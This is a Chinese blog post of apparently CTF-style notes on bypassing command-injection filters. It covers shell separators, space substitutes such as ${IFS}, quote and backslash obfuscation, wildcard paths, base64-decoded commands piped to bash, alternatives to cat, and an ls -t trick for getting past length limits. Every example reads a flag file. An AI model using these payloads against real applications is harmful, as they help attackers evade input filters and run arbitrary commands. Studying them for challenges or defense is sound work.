命令執行繞過小技巧
阿新 • • 發佈:2020-07-10
管道符
windows 下
|
直接執行後面的語句
||
如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句
&
前面和後面命令都要執行,無論前面真假
&&
如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令
Linux 下
;
前面和後面命令都要執行,無論前面真假
|
直接執行後面的語句
||
如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句
&
前面和後面命令都要執行,無論前面真假
&&
如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令
空格繞過
>
<
<>
重定向符
%09
(需要php環境)
${IFS}
$IFS$9
{cat,flag.php}
//用逗號實現了空格功能
%20
%09
黑名單繞過
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64編碼
echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash
(在bash被過濾的情況下可嘗試sh)
單引號、雙引號
c""at fl''ag
反斜線
c\at fl\ag
正則 (假設/bin/cat: test: 是一個目錄)
/???/?[a][t] ?''?''?''?''
/???/?at ????
/???/?[a]''[t] ?''?''?''?''
$1、$2等和$@
$# 是傳給指令碼的引數個數
$0 是指令碼本身的名字
$1 是傳遞給該shell指令碼的第一個引數
$2 是傳遞給該shell指令碼的第二個引數
$@ 是傳給指令碼的所有引數的列表
$* 是以一個單字串顯示所有向指令碼傳遞的引數,與位置變數不同,引數可超過9個
$$ 是指令碼執行的當前程序ID號
$? 是顯示最後命令的退出狀態,0表示沒有錯誤,其他表示有錯誤
cat被過濾
more:一頁一頁的顯示檔案內容
less:與 more 類似
head:檢視頭幾行
tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:檢視尾幾行
nl:顯示的時候,順便輸出行號
od:以二進位制的方式讀取檔案內容
vi:一種編輯器,這個也可以檢視
vim:一種編輯器,這個也可以檢視
sort:可以檢視
uniq:可以檢視
file -f:報錯出具體內容
內斂執行
cat$IFS$9`ls`
cat$IFS$9$(ls)
(內聯,就是將``或$()內命令的輸出作為輸入執行)
利用ls -t和>以及換行符繞過長度限制執行命令(檔案構造繞過)
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/桌面# ls -t >a #將 ls -t 內容寫入到a檔案中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found
\
是指換行
ls -t
將檔案按時間排序輸出
sh
命令可以從一個檔案中讀取命令來執行